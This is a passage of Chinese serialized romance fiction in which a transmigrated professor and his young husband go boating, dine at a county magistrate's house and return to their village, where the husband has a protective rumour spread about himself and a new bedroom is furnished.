看过证物,县令又请了宋茶栽和宋灵铃说明事情的经过,确实就如江金熙所说,一切都十分明朗。 这案子并不复杂,可以走简易程序,县令让他们回去等消息,歹人便被衙役押着进了牢里。 到了如此,宋泊才算是真正安下心来,接下来只是走流程罢了。 简易程序的结果也得三日之内才出,宋泊与江金熙便没有急着回去,宋里正与县令说事儿去了,宋茶栽家中还有事儿不能与他们一块儿在霞县里等着,宋泊便拜托她,再去与船老板请三日的假。 说起来实在是有些对不住船老板,一个月的活儿他请了快半个月的假。 “知道了。”宋茶栽轻拍两下宋泊的肩膀,瞥着江金熙正在与宋灵铃聊天,她悄摸地拉过宋泊,扯开一点儿距离以后,她道:“趁这几日你带金熙玩玩,散散心也好。” “我知的。”宋泊点头。 “还有银子不?”宋茶栽问。 长辈总是担心小辈没有钱花,宋茶栽也是如此。 “不用。”宋泊说:“搬货几天又赚了钱,够花了。” 半月搬货以来他又赚了七百多钱,与之前剩下的散钱加在一块儿,也有一两多,霞县里的花销再大,一两多应当也足以他们俩人过三日了。 “行,那我就放心了。” 宋茶栽走后,宋灵铃便攥着江金熙的手走到他面前,“我爹爹说过霞县的游湖可好玩儿了,咱们去吧?”小姑娘边说还边倒腾着脚,兴奋极了。 霞县位于南面沿海区域,穿过县里*的河流极多,相应发展起了游湖经济。 宋泊看了眼江金熙的神色,江金熙眼中也带着一丝光亮,他俩应当是商量好以后,才来找他的。 游船好啊,坐在船上飘在湖中,周围水波缓缓,微风轻轻,是个散心的好活动。 “那自然好。”宋泊道。 “好耶!”宋灵铃欢呼一声,牵着江金熙走在他的前头。 江金熙被宋灵铃拉着,时不时回头望一眼,见宋泊一直跟在他们身后未曾离去,他才起了些出门玩的心情。 游船不愧为霞县的著名产业,停在湖泊边的船儿样式极多,应着游船的客人大多是哥儿和女子,所以每艘船做得都很精致,以此来吸引客人。 今日天气不错,此时已过了午时,太阳不烈,正合适坐船。 湖边来来往往的人很多,吆喝声、交谈声混合在一块儿,热闹非常。 宋灵铃偏头看向江金熙,问:“金熙哥,你喜欢哪艘船?” 宋灵铃并非只顾着自己玩儿的自私人,她其实也照顾着江金熙的情绪,想要他开心才会拉他出来游船的。 既然是为了江金熙,那自然得由他来选。 “就那艘木船吧。”江金熙抬手指了过去。 宋灵铃顺着他的指尖瞧去,江金熙选的那艘是这条湖上最小的游船,船上雕了花样,还有些新鲜花儿放与船上,船中有个小船舱,船舱顶儿还放了些蝴蝶的装饰物,小巧而精致。 “宋泊。”宋灵铃转头与宋泊说:“金熙哥想坐那条船,你去跟船家说说。” “好。”宋泊应声,找着那条船的船家,成功租下那条船。 许是湖面上的船太多,船家们都在争生意,所以租船的钱并不贵,六十钱便可包下一艘小船,想游多久就游多久。 宋泊第一个上了船,这船还搁在岸边,用一条粗绳绑着,有点儿晃悠。 宋泊在船上站稳反过身抬手,牵住江金熙,接着一使劲儿,将江金熙牵入船中。轮到宋灵铃时,宋泊握起了拳头,宋灵铃是抓着宋泊的手臂,自己往地上一蹬上的船。 三人都上了船,船夫最后上船后俯身把绳结解掉,小船儿随着波浪,悠悠晃出了岸。 宋泊的体重一个顶俩,为了保持船只的平衡,他自己坐一侧,江金熙与宋灵铃坐一侧。 湖面上的风温柔,轻轻吹动江金熙的发丝,江金熙看着湖面,眼中映着波光粼粼,像无数颗明亮的星星落入他的眼中,让人挪不开眼。 宋灵铃时不时与江金熙说上几句,江金熙眉眼一弯,嘴角微微上扬,应着宋灵铃的话。 宋泊就在对面看着他,带宋灵铃一块儿来也挺好的,她就跟个百灵鸟一样,逗得江金熙直发笑。 忽然,两人的视线在空中相遇,江金熙先是一愣,随后局促地挪开了眼,脸上泛起淡淡红晕,故作很忙地与宋灵铃说着话。 见他这副模样,宋泊也笑了,来游湖当真是个正确的选择。 第33章 第三十三章开心。 他们游的这片湖很大,足以容纳几十条船同时出现在湖上,不显拥挤。船夫将船驶入湖心,便收了杆子,坐进船舱之中。 “这儿就是看风景最好的地儿了,你们可以出去瞧瞧,别太往船边站就行。”船夫说。 来都来了,不欣赏一番怎么说得过去。 宋灵铃第一个走出船舱,江金熙排在第二,宋泊第三。 立于船头,秋风吹过,船底泛着淡绿的湖水中有鱼儿走过,溅起轻微的水花,又往远处游去。 湖两边立着青山,青山上的树枝叶还算茂盛,与湖水搭着一块儿瞧,确实是美上几分。 宋泊也被眼前的美景吸引住了,在现代他未有时间出门旅游,看过最多的就是城市里的绿化带,现下真真切切地体验了一把,终究还是原始的大自然最美人心魄。 轻轻悠扬的歌声自他耳边响起,宋泊侧目看去,是江金熙正在哼着歌,歌内没有歌词只有单纯的旋律,配湖上美景确是再适合不过了。 都能哼歌了,当是情绪好了不少。 宋泊静了音,欣赏美景又欣赏歌声。 一曲哼完,宋泊不自觉地鼓起掌来,宋灵铃和船夫跟着,也一块儿鼓了掌。 因在船上,宋灵铃不敢动作太大,她轻拉着江金熙的衣袖,兴奋地问着,“金熙哥,你哼的这是什么歌,好好听啊。” “我也不知道这歌叫什么名字。”江金熙回道,这是他娘亲自他小的时候就唱给他听的歌,听得多了,江金熙也就会哼了。 “没关系。”宋灵铃也不扫兴,她道:“听过你唱,我也是大饱耳福。” 宋泊点了下头,这个细小的动作被宋灵铃抓着,“你也觉得金熙哥的声音很好听吧。” 江金熙顺着宋灵铃的话,看向宋泊,宋泊却是没想到话题竟然会拐到他身上来,他本就不大会花言巧语,只能说道:“此曲只应天上有……下半句我给忘了。” “是人间难得几回闻。”江金熙弯了眉眼,他抬着手,用衣袖遮着笑道。 宋泊自然知道这首诗的全部,但他不好全部背完,这与他的身份不符。 “不得了了。”宋灵铃提升音调,“你居然会诗句?” “简单一句而已,听别人说过,应当是说曲子好听的意思吧?”宋泊挠了挠后脑勺,装作文盲的样子憨笑。 “是的,确实是夸曲子好。”江金熙说:“不过我的曲子却称不上如此赞誉。” “你不要……”“妄自菲薄”这个成语在宋泊脑海里转了一圈又收了回去,换了个更简单的说法,“你不要看低你自己,要我说,你口中的就是仙曲。” “就是就是!”宋灵铃紧跟着附和道。 “多谢你们。”江金熙笑应。 天下谁人不愿听夸奖的话,江金熙本来心中还有些郁气,听他们一夸,愉悦将郁闷挤出心房,他开心起来。 他俩的用意身为事中人的江金熙怎会不懂,坏事已是过去,通过这事儿他彻底看清,宋泊当真是个真真正正的好人,会在他无助的时候及时赶到,会在他失落的时候哄他开心,与他以往梦中梦到的真命之人越发相似了。 江金熙看向宋泊,宋泊正负手而立于船头,风吹起他的衣裳,一身的风度翩翩让江金熙以为宋泊穿的不是平民百姓穿的布衣,而是文人雅士的长袍。 宋泊似有所感,他转过头来朝江金熙一笑,江金熙听见了雷鸣之声,那是他的心跳。 在湖上飘了一个时辰多,船夫起杆回岸上,太阳开始渐渐往西偏,他们的船刚到岸边,就有看着像是小厮的人在等着他们。 “可是宋小姐?”小厮走上前来,问宋灵铃。 “你是?”宋灵铃疑惑地打量来人。 “我是林县令家的小厮,县令让我来请你们回府用餐。”小厮答。 宋泊这才注意着,小厮身后还有个马车,这马车可比他们来时那架高级多了。 县城中骑马,那可是非富即贵的身份,也就林县令派来的才有这般气派。 “那你去吧,我与宋泊先回客栈。”江金熙说着就打算与宋泊一道儿先行离开,却没想着小厮也拦住了他俩,“县令要我请你们三人一块儿同去,少一个人我可怎么交差呀。” 宋灵铃是宋里正的女儿,他俩与宋里正无亲无故的,林县令请他们去作甚?就算是为民着想的清官,也不会请平民百姓去他家中吃饭吧。 “请诸位上车。”小厮偏了身,抬手引众人上车。 既然是林县令所请,不管他目的为何,不去终归是不合适。 宋泊与江金熙两人对视一眼,宋灵铃第一个上了车,宋泊扶着江金熙也坐上了车。 来时着急,现下歹人已经被抓了进去,他们才有心情欣赏起霞县的街景。 霞县带了个县字,比近里村大了不知一星半点,周围的商铺也比传福镇中的大,除了商铺,没有店铺的流动小摊也很多,街上热热闹闹的,都是说话声。 前头有些拥挤,马车被挤在人群之中,宋泊沿窗往外看去,正好有个卖冰糖葫芦的商贩就站在他们马车边儿,糖葫芦靶子上插着的糖葫芦个个看起来都很不错。 宋泊从车窗内伸了手出去,指尖戳了戳摊贩的肩膀,摊贩转头看来,他问,“一串多少?” “一串三钱。”小摊说。 恒国的糖很贵,冰糖葫芦外面那层糖衣就足以让它的身价飙升,不过毕竟是摊贩卖的东西,没有那些店铺成本,宋泊还是得讲讲价,“两串五钱,成就拿了。” 人潮涌动,只要前头的人稍微让开一些,马车的行进速度可是他赶不上的,摊贩一合计,应声:“行!” 宋泊从怀中掏出那个素钱袋,从里头掏出五钱交到摊贩手中以后,便拔了糖葫芦靶子上看着最好的两串冰糖葫芦,江金熙一串,宋灵铃一串。 心情不好吃甜最合适,江金熙本身就爱吃甜,肯定也喜欢吃酸酸甜甜的冰糖葫芦。 果然,江金熙拿到冰糖葫芦以后,肉眼可见的眼中有了光亮,他与宋泊道了声谢,张口便咬下最头的一颗山楂,很酸,但甜又盖过了那抹酸,甜进了他的心中。 宋灵铃手里握着冰糖葫芦,没想着自己也能有一份,宋泊买冰糖葫芦的全过程她是看在眼中,不过宋泊只买了两串,很可能只买了他与金熙哥的份。这下手中被塞入一根冰糖葫芦,也是意外之喜,她道:“谢谢。” 马车稳稳行到林府,林县令就算再怎么清正廉洁,还有的面儿还是得有的,面前的房子虽然也是三进院儿,却比宋里正家的三进院儿大了好几倍,从院门口要走进宴客的膳厅还得一阵子呢。 小厮引着他们进了院儿,迎面便是一棵苍劲的松树,松树以后有个人工的池塘,塘上建有一条道,可容纳两人并肩而行。 宋灵铃没见过这般大气的院子,一跨进院内就兴奋地到处瞧,反观江金熙,就像看见了间寻常屋子一般,一丝神情波动也无。 也是,江金熙可是京城中大官的孩子,这院子再怎么大,肯定也是比京城高官的院子差些的。 进了膳厅,厅内摆着一张大圆桌,一张足以容纳十人同时入座的大圆桌,桌上铺着布,布上已经摆好了餐具。 厅内只有婢女在,宋泊、江金熙和宋灵铃就按着婢女的说法,坐在自己的位置上,宋灵铃挨着江金熙坐,她第一次参与这样的活动,心跳倍儿快,紧张得不行。 “金熙哥,你怎么一点儿也不紧张那?”宋灵铃抓着江金熙的手,她的手已经冰凉得在冒冷汗,江金熙的手却还是微热着。 “县令又不吃人,何须这么害怕?”江金熙反问。他不仅手不冷,连面色都如平常。 宋灵铃细酌了下江金熙的话,发现好像确实是这么个事儿,可林县令毕竟是她长到现在接触的最大的官儿,说不怕也不可能,她又抬眼看向宋泊,发现他还有心情打量屋中装饰,应当也是不太害怕。 难道是她想太多太严肃了?不然这两人同她一般从村子里出来的,怎么好像对这种场合十分熟悉。 夜色完全暗了下来,屋内烛火越发明亮的时候,林县令和宋里正的交谈声才渐渐出现,由远及近。与他俩一块儿来的还有个中年女子,女子头上带着一根青宝石黄金簪,身上穿着带有暗纹的丝绸衣裙,手还揽在林县令的手弯之中,当是林县令的夫人。 “都来啦。”林县令走了进来,在位子上坐下,他坐在正位上,摆了摆手,便有婢女拿着东西进来。 当官之人规律是多,吃饭前还有婢女端水来洗手,江金熙很自然地将手伸了进去,两手相靠着洗净了手,再接过婢女给的手巾,擦干双手,整个流程流畅,像是经历了百遍。 宋泊作为大学教授,他也知道官家会有什么规矩,他边洗手边瞧着人,只见林县令洗手之时,时不时会往江金熙这儿瞟上几眼。 宋泊几乎确定,林县令对江金熙有几分关注。 只是不知道这关注,到底是出于何种心思的关注。 第34章 第三十四章卑劣的小人。 林县令坐在主位,婢女将菜一道道摆上来,摆了整整一桌子。 按理来说,席面上的菜数比人数多两道就足够招待了,可林县令毕竟是当官的人,排面得足,不过五个人的席,却十分有面儿的摆了十道菜。 在为官之人院中吃饭规矩很多,得等设宴的主人家动筷,其他人才能跟着动筷。 好在林县令不是个啰里巴嗦的人,他说了句欢迎他们来以后,便先动了筷子。 官家的菜与外头饭馆卖的还是不同,他们大多有家厨,家厨会按着主家的喜好做菜。 林县令大抵是从北方来的,桌上半数以上都是北方菜,宋泊随意夹了一筷子,便被里头的盐味咸着,看来林县令还是个口味极重的人。 坐在官家的饭局上,不能随意站起来夹菜,有自己心仪的菜,也只能眼睁睁瞧着。 江金熙又往咕噜肉那边瞥了一眼,这是江金熙瞅的第五眼了,宋泊抬起右手,长臂一伸,精准地夹住一块圆形咕噜肉,接着往右边一递,咕噜肉落入江金熙的碗中。 那咕噜肉在宋泊左手边再过去的位置,以江金熙的位置来看,必须得站起来弯腰才能夹着。 为了礼貌,江金熙定然不会站起来。 “你怎知……”碗中落下一块橙黄色的咕噜肉,江金熙有些惊讶,他拉了下宋泊的衣袖,在他耳边轻问。 “还想吃叫我就是。”宋泊小声回应。 林县令看着宋泊与江金熙这侧,说:“新婚夫夫的感情就是好哈。” 林县令的话一出,场上变得沉默,宋里正接话,“是比咱们老夫妻浓情蜜意一些。” “江夫郎爱吃甜,可是南方本地人呐?”林县令说。 这话问着自然,但细思却无半点儿道理。江金熙只是来报官的普通人,林县令这话像是在打探江金熙的来处。 宋泊看过原著,知道江金熙的身份不简单,而林县令这话又是从何问起? 官场之人最善伪装,表面看着老好人的人,背地里可能也在做着不可见人的勾当,宋泊起了警惕心,他道:“内人确实是南方人。” 若林县令是江金熙父亲那边的人倒是还好,可如果林县令是江金熙父亲对头的人,那暴露江金熙无疑就是在害他。 基于这般的思索,宋泊决定再打探一下,也不能一句话说死。 江金熙把咕噜肉夹入口中,他的心跳有些加快,等嚼透了以后,他才故作冷静地答道:“我确实是南方人。” “这样吗?我看着他面善,还以为也是从京城来儿的人。”林县令说。 宋泊能想到的东西,江金熙自然也能想着,京城作为恒国首都所在,不少官员削尖了脑袋往京城钻,从京城出来到边境小城做官,很大概率是被贬的。无论是何种原因,林县令肯定在京城官场里待过一阵,若是爹爹这边的人,他应当会有印象才是,江金熙借着夹菜的动作,偷瞄几眼林县令,他确实是一点儿印象也无,“林县令应当是猜错了。” 虽说是反驳了林县令的话,但该给的面子还是得给上,江金熙又补了一句,“县令您见的人多,定是见过另一与我相似之人来自北方,所以才会记混的。” 听江金熙说得如此坚定,林县令也只当自己记错了来,他哈哈大笑两声,摆手道:“你说得有几分道理,我确是老了,脑袋不中用记不清了。” “哪儿的话,您正是青壮之年呢。”宋里正接着话茬说。 官大一级压死人,宋里正比林县令年长,却因着官位低,得用敬称。 自宋泊和江金熙否认以后,林县令便没再把注意力放在他们这块儿,倒给了他们自由吃饭的时间。 与官家吃饭哪有不喝酒的道理,更何况林县令还是个酒蒙子,他让婢女拿了酒来,每个人身旁都放了一壶。 这天儿冷,喝些酒也能暖暖身子,宋泊给自己倒了一小杯,一口饮尽,林县令家的酒确实极品,入口微涩而后回甘,一点儿也不辣嗓子。 江金熙已经及笄,也倒了杯儿酒喝,以往在家中他爹爹不让喝,现在难得有了个机会,便也想品尝一番。 江金熙小呡一口,酒水丝滑地滑入喉咙中,喝来却有些趣味。 江金熙又喝了口,宋泊瞅着他的动作便知他这是第一次喝酒。 有的酒喝起来甜,实际后劲极大,初次喝酒的人尝不出来,只觉着味道好就会多喝一些。 见江金熙一杯接着一杯,吃两口饭菜就呡一口酒,宋泊便于江金熙耳畔小声说着:“少喝些,这酒醉人。” 温热的气息打在耳朵上,江金熙耳廓微动,喝酒以后那劲儿有点上头,脸不自觉地红了起来,他点了点头,软糯地应了声,“我知道了。” 半个时辰过去,宋泊明白了,江金熙根本就没有听进去,他一口一口喝着不知不觉便喝了好几盅,他面色发红眼神迷离,跟宋灵铃碰着杯,还要再继续喝。 宋灵铃看着小小一个,酒量却特好,跟江金熙喝了差不多量的酒,却依然神采奕奕。 宋泊抬手攥住江金熙拿着酒的手腕,酒杯被他收回,“你已经醉了,不能再喝了。” 江金熙眼眸微抬,长长的眼睫毛扑闪着,因着脑袋混沌,所以眼神飘散,有些迷人。 江金熙忽然就笑了,他抬手摸着宋泊的脸,说:“宋泊,你怎么会分身术呐?” 得,这人是真醉了。 饭局上林县令和宋里正喝得正起劲,宋泊从位子上站起身来,爽快地自罚三杯以后,以要带江金熙回去醒酒为理由,攥着江金熙的手腕离了席。 现下还不太晚,林县令府中的仆人引着宋泊和江金熙出门。 宋泊攥着江金熙的手腕,江金熙突然挣开,随后细长的指节插/入他的指缝当中,江金熙变了手势,与他十字相扣握着。 “你得这样牵着我~”江金熙撒娇着,靠在宋泊的手臂上,喝醉了的江金熙与以往大不相同,整个人去了清醒时的清冷味儿,变得软萌。 宋泊听着心都化了,他说:“那我便这般牵着你。” 喝醉的人大多都会断片,就允许他在这个时候当个卑劣的小人,成为江金熙依赖的人。 江金熙脚步悬浮,只靠牵着完全不够。在他第三次差点有入池塘以后,宋泊松开江金熙的手,在他身前蹲了下来,“上来,我背你。” 江金熙愣了,脑袋像上了锈一样,转不动。 “快来。”宋泊催道。 许是刚刚吃下的鸡肉变成了活鸡飞入他的心窝中,江金熙心跳扑通扑通跳得极快,他慢慢张开双臂,向前跨了一步,微微俯下/身子,胸腹靠上宋泊的背,两手穿过宋泊脖颈两侧,交握在他胸前。 宋泊抬住江金熙的大腿,两腿一使劲,稳稳将江金熙背在背上。 江金熙靠着宋泊的背,心思飘出去老远。 宋泊看着瘦,背部却十分精壮,足以他趴在上头,扶着他双腿的手又有劲又有礼貌,隔着衣服扶在靠近膝弯之处。 江金熙心中顿生一种幸福之感,他把脸埋在宋泊的肩窝之中,偷偷乐着。 宋泊被他感染者,也一块儿笑,他问:“想着什么了?这么开心。” 江金熙摇头,心中想的事他哪儿好意思说出来。 又过两个弯,终于走到了林府门口。 仆人帮忙开了门,送宋泊出门。 现在还不算太晚,街上还有百姓走动,路边的店铺点着灯,正好为宋泊提供了光亮。 宋里正订的客栈离林府不远,宋泊一步一步走着,走了一刻钟就到了客栈。 不知是他搬货起了健身的奇效,还是江金熙实在太轻,总之宋泊把江金熙放在客栈房内的床上时,两只手臂一丝颤抖也无。 见宋泊反身就要走,江金熙抬手拉住宋泊的衣袖,巴巴问着:“你要去哪?” 宋泊笑了,这个时候的江金熙实在粘人得紧,他轻轻拍了两下江金熙的手背,说:“去喊店小二抬水来给你洗面。” 江金熙眨巴了两下眼睛,松开了手。 店小二很快就端了盆热水上来,宋泊用沾湿的面巾,轻柔地擦了江金熙的脸。 宋泊把废水重新拿了出去,不过这么短的时间,江金熙就已经闭上眼,沉沉地睡了过去。 宋泊坐回床上,静静瞧着江金熙的面容,他这个炮灰攻的身份使他能做的事情变得少之又少,他只能借着原著安排的一年时间,珍惜与江金熙相处的每分每秒。 思及此,宋泊的手悄悄抚上了江金熙的脸颊,像碰个珍宝一般,不敢使大劲。 这还是他头一次喜欢一个人,只不过一喜欢,就喜欢上没有可能的人。 浅浅摸了一会儿,宋泊就熄了房间内的灯,钻入被子之中,休息。 这一日的奔波耗尽就他的精神劲儿,几乎是刚沾上枕头,宋泊就睡了过去。 夜色朦胧,街上安静,只有时不时的风吹木窗声。 被子之中,一只纤细的手牵住一只带着薄茧的手。 第35章 第三十五章谣言。 三日时间稍转即逝,那作乱的歹人被抓入牢中,行完刑就会送去劳改。 能得到这个结果也是大快人心。 “按理说他未得手不应当判这么重。”宋灵铃坐在宋泊与江金熙的马车上,跟个说书人一般,兴致勃勃地说着,“你们猜他为何判了如此重刑?” 宋灵铃与宋里正同行了一段时间,一出霞县得了个休息的空子,便钻进他们的马车之中,这一坐就坐下不走了。 “因为他是累犯?”江金熙问。 经过三日,江金熙彻底想通,这事儿已经翻篇,往后他会更加注意个人安全,身上带着的药包也要增多一些,省得跟上次一般,一包草药根本糊不住那人的眼儿。 宋泊也向宋灵铃投去眼神。 宋灵铃瞪圆双眼,不知道江金熙怎么一猜即中,她道:“你怎么知道?” 刚刚宋灵铃与宋里正一辆马车的时候,听她父亲顺嘴提起,那人才刚放出去不久,又起了色心,犯了同样的罪。对于这种屡教不改的罪犯,恒国律法绝不容忍。 宋泊身子往后一倒,靠在车厢上。 江金熙精通律法,脑袋又活络,这种问题提出来就是送分来的。 “我猜的。”江金熙说。 能读书的哥儿和女子都出自富贵人家,他现在还不能暴露自己的身份,就算是对方是宋灵铃也是一样。 “你好厉害。”宋灵铃对江金熙的崇拜更胜,“那人确实是累犯,才刚出来没仨月,又回去了。” 说起那个歹人,宋灵铃还是来气,她气愤道:“该的他,可得好好打他一顿长长记性。” “林县令手下的衙役应当是不会手下留情的。”江金熙答。 恒国里也不是没有那种塞钱给衙役让衙役通融着打轻点的人,但这几日对方一直没有亲人赶来,那人看着也没什么钱,自然拿不出钱贿赂衙役。没钱赚还得出力打人,有些衙役便会将气撒在犯人身上,那一下一下可是巨疼。 马车的速度就是比牛车、驴车快,不过一会儿时间,马车就驶进了村子,停在宋茶栽院门口。 马车离得还有一段距离的时候,宋茶栽就听着马蹄奔跑声,她将手中的活儿暂时搁在一边儿,疾步走出院子迎人。 宋泊先一步撩开车帘,利落地从车上跃了下来,而后他反身抬着手,将江金熙从马车上牵下来。 现在天色已经暗下,还好屋内点的灯还算亮,亮光从房内透出来,照亮三人面前的路。 “怎么样啊?判了吗?”宋茶栽站在江金熙左侧,与宋泊一块儿把江金熙夹在中间,三人并行着往院子里走。 “判了,现在应该在挨板子了。”宋泊说。 “那就好,挨板子还便宜他了。”宋茶栽说。 风尘仆仆三日,回来可得好好洗洗,宋泊先去烧了热水,水好后他将江金熙送入浴房,便去厅内找宋茶栽。 “都三日了,还是有些肿。”宋茶栽看着宋泊脸上还未完全消下去的淤青,还是心疼。 “没事的大姑,金熙这几日天天都有帮我上药的。”宋泊想起江金熙给他上药的动作,心底就不自觉软了下去。 江金熙一直怕他疼,下手极柔,到了不得不揉开的部位,他还会提前打招呼,让他忍着些。 “想着啥了,笑成这样。”宋茶栽是长辈,看着宋泊上扬的嘴角,她就知道宋泊肯定是想着了与江金熙有关的事。 “没什么。”宋泊呡了下唇,敛下笑意,问,“大姑可有认识的说话比较没有遮掩的人。” 说简单些,宋泊想要找的人就是大嘴巴。 村子里什么事儿不快,消息流通最快,他们将人送进牢里这事肯定传遍了全村,但他觉着还不够,他要人为地造出他不好惹的声势,这样其他人在打江金熙主意的时候,肯定会掂量掂量后果,可以在一定程度上震慑到那些人。 “你要做什么?”宋茶栽问。 “造势。”宋泊答。 虽然不知道宋泊要造什么势,但自从江金熙来了以后,宋泊便没再做过什么糊涂事。久而久之,宋茶栽信任他,找大嘴巴这事儿有些奇怪,可宋茶栽还是没有多问,“认识一个,住在村东的宋媒婆。” 媒婆这个职责天生就带着八卦味儿,再加上男男女女的事儿不外乎那么点儿,整日吃瓜的宋媒婆心里事多,不与别人说总是憋得慌,不知不觉就落下了个大喇叭的名号。 “大姑我出去一趟,金熙那儿你帮我照看些。”宋泊道。 提上一盏明亮的灯笼,宋泊跨出院门,顺着宋茶栽指的方向走去。 宋泊问了两、三个村民,因着宋媒婆的名气实在大,顺顺利利地便找着宋媒婆的家。 宋泊隔着篱笆往里头看去,屋子里点着灯,家中有人。 叩叩叩,宋泊敲响宋媒婆院中木门,夜间安静,敲门声格外突兀。 “谁啊,今儿个不接活儿了。”一身材有些圆润的中年女子从屋内出来。 “可是宋媒婆?” 宋媒婆眯着眼瞧着宋泊,盯了会儿才认出来,她道:“哟,这不是宋大夫的侄儿嘛?家中都有夫郎了还来找我作甚?” 宋媒婆嘴巴大,但行事有自己的一套准则,她从不给有家室的人介绍人,这种不积德的事儿,她可不做。 “你知道我?”宋泊倒是有些奇了,他与宋媒婆从未见过,宋媒婆却能准确将他认出,看来确有几分本事, “你把宋老二送牢里的事儿,村中都传遍哩,你现在可是大名人。”宋媒婆说。 “没想到出去三日,回来竟出了名儿。”宋泊说。 无事不登三宝殿的道理,宋媒婆还是清楚,她道:“行了,也别与我扯了,找我什么事?” “我想请你帮忙传个消息。”宋泊说。 “我闲的哩,帮你传消息?”宋媒婆刚想拒绝,就见宋泊从怀中掏出了钱,谁会与钱过不去,两人一商定,宋媒婆便收了宋泊五十钱,保证会将宋泊交代的事儿做得完美。 隔日,江金熙起床的时候,宋泊早已上工,身边床铺空落落的。他抬手摸过去,床上连余温也无,当是离开有一段时间了。 这般早上见不着宋泊的身形的感觉还真有些陌生,在霞县的三日里,宋泊一直陪着他,他往东去,宋泊就绝对不会往西去。 江金熙也不是什么矫情的人,只是失落了一小会儿,便收拾心情从床上爬起来。 他没有进钱的法子,家中开销只能靠宋泊一人赚得,再多休息一日就会多亏几十钱,宋泊不舍得那些钱,所以昨日便与他说了今日要去上工。 宋泊去镇上奋斗,那他就得管好村中的事儿,等房子建好秋收也差不多过去,他便去买草药种子回来,去田里种上。 吃完早餐,江金熙拿着医书往家院子去,一路上遇到不少外出农作的村民。 “就是他吧?” “对对对,听说宋泊就是为了他,把宋老二打得头破血流都站不起来了。” “欸,不止,我听说宋泊还把那宋老二的命根子给——”说话那人做了个剪刀的手势,吓得边上的两人缩了下身子。 “那宋泊那么狠呢?” “可不是,那宋老二的裆部可都是血。” ??? 江金熙缓步走着,听着从他身旁擦身而过的三个妇人聊天,却越听越觉着离谱。他面上不显,脑海中却满是问号。 宋泊当真剪了那人,在他离开以后? 不能吧,以宋泊那样的性子,当是做不出这般事儿的。可那三位妇人说起来又像是确有其事,就跟她们在现场般的笃*定。 江金熙思索着,走到自家院中,已有工人在干活,他们瞧着他只是远远打了个照顾,便开始做自己手上的活儿,偶有经过他身边的工人,就跟屁股后头的衣服被火点了似的,从他身旁而过一步不停留,甚至还能带风起来。 江金熙忽然就明白了那个传言的用意。 昨日晚上他从浴房中洗完澡出来就没见着宋泊,问宋茶栽,宋茶栽也只说他出了门,做什么事儿去了却不知。 这般想来,应当是宋泊在那段时间内找了村中的大嘴巴,散播了这些传闻,为了把那些歹人逼退。 江金熙坐在木凳上,医书就放在大腿上却迟迟未翻开来。 他在京城生活了十七年,因着爹爹是丞相的缘故,他见过不少人,有因为爹爹巴结他的,也有因为他长得漂亮靠近他的,那些个公子哥徒有优秀的家室,待人处事却比不上一个偏远村庄中的普通村民…… 江金熙的手覆在书页上,传谣言这事儿不算是什么拿得出手的计谋,却胜在有效,想到宋泊与那位大嘴巴说话时那副认真编排自己的模样,江金熙就忍不住想笑。 宋泊当真是对他很好,宁愿落下一个手段残忍的名声,也要尽力护他周全。 江金熙将头上扎着的银发簪摘了下来放在手中,轻柔地摩挲上头的宝石,脑海里满是宋泊的模样。 宋泊,我好像有些喜欢上你了。 第36章 第三十六章藏银子。 “来啦。”李五看着宋泊来,张嘴便打了声招呼。 码头上摆的货物不多,大抵再过几日就能搬完,宋泊往肩上丢了两袋货,如今的他已经能轻松地搬起两袋货物。 两人并肩走着,李五问:“你啥时候有时间,我家那小子一直想见你。” 说起来倒是,自那次见过李会书以后,事情便一件接一件的来,忙得他都忘了抽时间去李五家检查李会书的功课。 “过两日吧,到时候我家卧房建好,我摆席,你带阿篮和会书一块儿来,一举两得了。”宋泊说。 “建房?”李五不是近里村的人,自然不晓得宋泊家卧房塌了这事儿,听到宋泊要建屋子他也是有些惊讶,毕竟建个房子的费用也不便宜。 “卧房塌了,得重新建个,不然冬天可有罪受。”宋泊说。 李五想着之前听着其他人说宋泊也请了个长假,当是那时建的房,建新房可是个大事儿,他道:“那肯定得去的,千万记得喊我。” 一天货搬下来,天色微微暗了,宋泊拿了今日工钱,一刻也未停留地出了镇。 宋泊先去家中院子找江金熙,听工人说江金熙已经回家,他才调转脚步往宋茶栽家走去。 离宋茶栽家还有一段距离的时候,宋泊就听着里头传来交谈声,有客来了。 趁着还有一丝阳光存在天边的时候,宋泊踩进院子里,正厅的房儿大开着,他看见杨绘正坐在房中。 “回来了。”宋茶栽瞅着门外的宋泊,先出声道。 走进房内,宋泊才发现房内待了三人,江金熙确实已经回来,就坐在宋茶栽身旁。 桌上放了个饭盒,饭香阵阵从饭盒中飘了出来,饭盒旁还有几个圆润的水果儿加上一个小瓷罐子。 “杨姨,你怎的来了?”宋泊问。 “宋老二的事儿也有我的过错,是我识人不清才让那种货色混进了工人队中。”杨绘没有半点儿扭捏,直接说明自己的来意。 宋泊托她找人建房,却发生那档子事,若要找起责任来,她自然也得担上一份。 村中很久没发生这般劣性的事儿,让她放松了警惕,自听闻那事发生,她便一直等着宋泊与江金熙回村,上门道歉。 “哪儿的话。”宋泊笑着在江金熙身边坐下,“就算他没混进工人队中,只要他瞅着金熙,这事儿总有可能会发生。” “是啊,那人并不会因为不在工人队中就改变自己的性子。”江金熙也跟着说着。 宋泊和江金熙的态度让杨绘好受几分,她从位子上站起来,拿开饭盒盖儿,将里头的饭菜拿了出来,“就算你们这么劝我,赔礼还是得给。” 宋泊多少猜着桌上的东西是杨绘拿来的,杨绘的动作证实了他的想法。 “那感情好,累了一天早饿了。”宋泊接着话,起身往厨房拿餐具来。 江金熙帮着挪椅子,改两边并排放着的椅子为圈型。 四人围桌而坐,宋泊和江金熙也不客气,直接就拿了筷子夹菜。 不知杨绘打包的是哪一家饭馆,但菜品的味道一点儿也不差喜春楼。 见宋泊和江金熙并不是装着的原谅,杨绘才安心下来。 吃完了饭,杨绘把桌上那个小瓷罐子塞进宋泊的手中,“这是化瘀膏,涂上些伤口快好。” “是,多谢杨姨。”宋泊应声,将药膏放进怀中。 十月十九日,宋泊家的卧房终于建好。宋泊与江金熙一块儿置办了新的家具。 站于房中,宋泊才觉着有了归属感。宋茶栽家终归是别人家,住着不踏实。 因着手中钱有限,便只能先新搭一个卧房,好在卧房的空间比以往阔了不少,宋泊就买了两幅屏风,将卧房中隔开来,也算是有了简易的三个区域。 左边放了架木床,本来床架上应当挂着帷幔的,但因为帷幔实在太贵,在冬日又不用防蚊子,宋泊就将安装帷幔的事儿往后推了推。床边搁着一个与床同高的床头柜,床头柜再过来是灯架、衣柜和衣架,就是用来歇息睡觉的地儿。 中间地儿在两个屏风之间,就放了一张圆木桌在加上几把小圆凳子,原木桌上放了套茶具,起到会客的作用。 